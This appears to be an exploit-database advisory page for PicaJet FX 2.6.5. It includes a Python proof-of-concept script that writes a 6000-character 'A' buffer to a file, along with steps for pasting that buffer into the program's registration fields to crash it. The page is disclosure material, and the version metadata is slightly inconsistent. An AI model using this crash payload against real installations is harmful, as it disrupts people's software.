PicaJet FX 2.6.5 - Denial of Service (PoC)

vendor:

PicaJet FX

by:

Gionathan 'John' Reale

N/A

CVSS

MEDIUM

Denial of Service

CWE

Product Name: PicaJet FX

Affected Version From: 2.6.2005

Affected Version To: 2.6.2005

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 32-bit

2018

PicaJet FX 2.6.5 – Denial of Service (PoC)

The PicaJet FX version 2.6.5 is vulnerable to a denial of service attack. By providing a specially crafted payload, an attacker can cause the program to crash, resulting in a denial of service. The exploit script creates a file named 'exploit.txt' with a payload of 6000 'A' characters. When this payload is pasted into the 'Registration Name' and 'Registration Key' fields and the 'OK' button is clicked, the program crashes.

Mitigation:

There is no known mitigation for this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: PicaJet FX 2.6.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-11
# Software Link: http://www.picajet.com/download/PicaJetFXInstall.exe
# Tested Version: 2.6.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Help" > "Register PicaJet..."
# Now paste the contents of "exploit.txt" into the fields:"Registration Name" & "Registration Key"
# Click the "OK" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"